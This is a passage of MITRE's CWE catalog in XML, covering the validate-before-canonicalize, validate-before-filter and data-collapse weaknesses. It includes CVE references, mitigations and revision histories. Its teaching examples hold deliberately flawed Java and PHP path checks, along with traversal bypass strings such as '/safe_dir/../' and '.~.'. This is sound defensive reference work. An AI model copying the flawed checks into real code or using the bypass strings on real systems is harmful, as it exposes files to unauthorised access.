               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Early Validation Errors</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="180" Name="Incorrect Behavior Order: Validate Before Canonicalize" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product validates input before it is canonicalized, which prevents the product from detecting data that becomes invalid after the canonicalization step.</Description>
         <Extended_Description>This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="179" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-35">
               <Intro_Text>The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String path = getInputPath();<xhtml:br/>if (path.startsWith("/safe_dir/"))<xhtml:br/>{<xhtml:div style="margin-left:1em;">File f = new File(path);<xhtml:br/>return f.getCanonicalPath();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicized the path would become just "/".</Body_Text>
               <Body_Text>To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>String path = getInputPath();<xhtml:br/>File f = new File(path);<xhtml:br/>if (f.getCanonicalPath().startsWith("/safe_dir/"))<xhtml:br/>{<xhtml:div style="margin-left:1em;">return f.getCanonicalPath();</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0433</Reference>
               <Description>Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0433</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0332</Reference>
               <Description>Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0332</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0802</Reference>
               <Description>Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0802</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0191</Reference>
               <Description>Overlaps "fakechild/../realchild"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2363</Reference>
               <Description>Product checks URI for "&lt;" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2363</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Validate-Before-Canonicalize</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS01-J</Entry_ID>
               <Entry_Name>Normalize strings before validating them</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Oracle Coding Standard for Java">
               <Entry_ID>IDS01-J</Entry_ID>
               <Entry_Name>Normalize strings before validating them</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This overlaps other categories.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Functional_Areas</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Validate-Before-Canonicalize</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="181" Name="Incorrect Behavior Order: Validate Before Filter" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product validates data before it has been filtered, which prevents the product from detecting data that becomes invalid after the filtering step.</Description>
         <Extended_Description>This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="179" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Validate-before-cleanse</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being filtered.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-36">
               <Intro_Text>This script creates a subdirectory within a user directory and sets the user as the owner.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function createDir($userName,$dirName){<xhtml:div style="margin-left:1em;">$userDir = '/users/'. $userName;<xhtml:br/>if(strpos($dirName,'..') !== false){<xhtml:div style="margin-left:1em;">echo 'Directory name contains invalid sequence';<xhtml:br/>return;</xhtml:div>}<xhtml:br/>
                        <xhtml:i>//filter out '~' because other scripts identify user directories by this prefix</xhtml:i>
                        <xhtml:br/>$dirName = str_replace('~','',$dirName);<xhtml:br/>$newDir = $userDir . $dirName;<xhtml:br/>mkdir($newDir, 0700);<xhtml:br/>chown($newDir,$userName);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the script attempts to screen for '..' sequences, an attacker can submit a directory path including ".~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0934</Reference>
               <Description>Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0934</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0282</Reference>
               <Description>Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0282</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Protection Mechanism</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Validate-Before-Filter</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Research Gap">This category is probably under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Functional_Areas, Relationships, Research_Gaps, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Validate-before-filter</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="182" Name="Collapse of Data into Unsafe Value" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="33" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="34" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="35" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-44">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
            <Mitigation>
               <Description>Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0815</Reference>
               <Description>"/.////" in pathname collapses to absolute path.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0815</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3123</Reference>
               <Description>"/.//..//////././" is collapsed into "/.././" after ".." and "//" sequences are removed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3123</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0325</Reference>
               <Description>".../...//" collapsed to "..." due to removal of "./" in web server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0325</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0784</Reference>
               <Description>chain: HTTP server protects against ".." but allows "." variants such as "////./../.../". If the server removes "/.." sequences, the result would collapse into an unsafe value "////../" (CWE-182).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0784</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2169</Reference>
               <Description>MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to "../".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2169</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1157</Reference>
               <Description>XSS protection mechanism strips a &lt;script&gt; sequence that is nested in another &lt;script&gt; sequence.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1157</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Collapse of Data into Unsafe Value</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS11-J</Entry_ID>
               <Entry_Name>Eliminate noncharacter code points before validation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Character Stripping Vulnerabilities&#34;, Page 437"/>
         </References>
         <Notes>
            <Note Type="Relationship">Overlaps regular expressions, although an implementation might not necessarily use regexp's.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="183" Name="Permissive List of Allowed Inputs" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="434" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
